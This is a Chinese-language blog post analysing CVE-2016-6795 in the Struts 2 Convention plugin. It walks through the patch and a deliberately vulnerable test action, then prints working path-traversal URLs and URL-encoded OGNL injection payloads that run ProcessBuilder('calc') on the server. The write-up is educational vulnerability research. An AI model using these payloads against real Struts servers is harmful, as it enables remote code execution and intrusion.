安全路透社
当前位置:安全路透社 > 网络转载 > 正文

Struts Convention插件漏洞(CVE-2016-6795)分析

*本文原创作者:angelwhu。

0×00 漏洞简介

struts2漏洞往往一出来就挺火的,但不乏一些利用条件比较苛刻的。而在上个月就发布了一个等级为高的漏洞。本着学习的态度,把这个漏洞从源码角度分析下。并分享下自己分析漏洞的方法和过程。

先来看看这个漏洞官方介绍,详情请看官方公告

  • 漏洞描述: Struts Convention插件可能导致任意路径遍历

  • 漏洞具体问题:

It is possible to prepare a special URL which will be used for path traversal and execution of arbitrary code on server side.

  • 最大危险评级: High

  • 影响范围: Struts 2.3.20 – Struts 2.3.31

可以看到: 漏洞标题只是说可以路径遍历。而在具体描述中指出可以执行任意代码,危害等级才有如此高。

在网上搜了搜,没有关于此漏洞的具体分析。因此,本文对于漏洞的理解,只是个人见解~ 如有遗漏与不足,还望指正。

0×01 Convention插件

既然问题出现在Convention插件上,那么必然先要了解这个插件的作用。

Convention惯例的意思。在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。

但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置。官方给的一个图表:

3.png

以第一个为例:当我们访问/hellourl时,不需要进行任何配置。struts2会自动寻找HelloAction类。该类执行完成后,返回一个resultCode(这里是success)。然后,Struts2会在默认路径下找hello.jsp,hello.html,hello-success.jsp等文件,返回给用户。

具体的规范还有很多,具体可以看官方文档学习学习。总之,Convention插件提供了一系列的规范,来使程序员不用写繁琐的配置文件,就能轻松的编写代码。

0×02 补丁分析

Struts在2.3.31版本中,修复了这个问题。于是,可以在github上找找这个版本的修改地方。找到了这样两个相关性修改。看看就觉得应该是的:

4.png5.png

找到修改的两个类文件ConventionsServiceImpl.javaConventionUnknownHandler.java。结合修改的描述,可以初步这样判断:

1. 可以跨目录读取文件

文件中加了这样一个判断:

if (resource != null && resource.getPath().endsWith(path)) {

证明对传入的path变量可以利用../进行跨目录读取文件。该行代码就是进行了二次检测(Adds double check if resource exists)。

2.path路径变量可以执行OGNL代码

对于第二个补丁修改,类中加了这个函数:

private ResultTypeConfig disableParse(ResultTypeConfig resultConfig) {
    if (resultConfig != null) {
     return new ResultTypeConfig.Builder(resultConfig).addParam("parse", "false").build();
    }
    return null;
}

在Struts2的Result类中,有一个parse属性,默认为true。跟S2-016漏洞最后到达的利用点一样。证明我们可以在路径变量中,加入OGNL代码,进行远程代码执行攻击。

0×03 利用方法与调试分析

通过对补丁的分析,我们找到了触发漏洞的点。现在,缺少利用点,进行实际攻击。

以下情况,只是个人分析的情况。如果有更好的利用场景,或者利用点。请不吝赐教。

控制resultCode

阅读源码,发现该插件的关键类为ConventionUnknownHandler。它继承了UnknownHandler接口,当struts在配置文件中无法找到actionResult时,会分别调用handleUnknownAction方法和handleUnknownResult方法。

之后按照上面对应的规范,去寻找action类和Result

Eclipse里面有个open call hierarchy,可以看到调用层次关系。看ConventionUnknownHandler类中的findResult函数。 可以看到基本的调用关系:

经过源码分析,找到两个可能控制的点:

  • (1) actionName: 直接url输入,但是经过了各种过滤。没法很好利用~
  • (2) resultCode: 需要程序员编码时,让我们可控~

下面就第二种情况,编码一个场景进行分析。若能找个非常容易控制resultCode的方法,那就更好了~~

1. 测试环境搭建

  • (1)struts版本: struts2.3.24.1
  • (2)convention插件版本: struts2-convention-plugin-2.3.24.1

struts2-convention-plugin-2.3.24.1.jar复制到/WEB-INF/lib目录下。

2. 样例代码

新建一个GoAction类,放在action包下(convention插件的默认约定位置)。

package action;

import com.opensymphony.xwork2.ActionSupport;

public class GoAction extends ActionSupport {

    private String go;
    private String methodToOGNL;

    public String execute(){
        return go;  //方法的返回值,即为resultCode
    }

    public String getGo() {
        return go;
    }
    public void setGo(String go) {
        this.go = go;
    }
    public String getMethodToOGNL() {
        return methodToOGNL;
    }
    public void setMethodToOGNL(String methodToOGNL) {
        this.methodToOGNL = methodToOGNL;
    }        
}

/WEB-INF/content目录下,新建一个admin.jsp:

<body>
Hello Admin~~ <br> </body> 

3. 攻击和调试分析

上述代码目的是,让GoAction起到一个跳转功能。

admin用户经过验证,需要跳转到jsp页面时。 直接访问url:/go?go=admin,此时的resultCodeadmin。 通过convention插件,会在/WEB-INF/content找到admin.jsp,返回给用户。

8.png

此时,我们就可以通过go参数来控制resultCode

(1) 遍历目录读取文件

不防先试试跨目录。测试Payload为:

http://localhost:8080/MyStruts2Test/go?go=../content/admin  

这样也成功找到了admin.jsp

然后,在/WEB-INF/下新建一个hack.jsp文件。简单的跨目录读取成功:

9.png

能够跨目录,看看能不能任意读取文件~

ConventionUnknownHandler类打断点,可以看到它的寻找文件过程。令我遗憾的是,在整个过程中,都会加路径后面带上后缀.ext。而这个后缀限定为:

[jspx, vm, jspf, jsp, ftl, html, htm]    

10.png

暂时没有找出截断文件名等方法,读取任意文件~ 如果有人能有好的方法,请告知~

(2)执行任意代码

在补丁分析时,我们看到修补了一个Result执行命令。于是,我们可以在resultCode中嵌入ognl代码试试~ 我们最后要找到admin.jsp文件,于是在路径中嵌入了如下Payload:

http://localhost:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

打断点分析可以看到:

11.png

找到admin.jsp文件后的Result为org.apache.struts2.dispatcher.ServletDispatcherResult对象,并且parse属性为true。location属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:  

12.png  

(3)另一种控制resultCode方法  

可能注意到了methodToOGNL这个变量没有用,当我们可以选择调用action的某个方法时,比如还有最近出现的rest插件或者打开动态方法调用

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

 于是就有了如下payload:

http://localhost:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

我调用了getMethodToOGNL方法,返回methodToOGNL变量的值。就能简接控制resultCode了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧~

条件: 只需action中有个String变量即可。

各位可以想想,还有其他好玩的利用场景不~~

0×04 思考与总结

通过补丁分析得到漏洞触发点。然后,通过学习分析源码,复现分析~可以学到很多知识。

0×05 参考链接

http://struts.apache.org/docs/s2-042.html  

http://blog.csdn.net/zhyh1986/article/details/7924674

*本文原创作者:angelwhu。

未经允许不得转载:安全路透社 » Struts Convention插件漏洞(CVE-2016-6795)分析

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册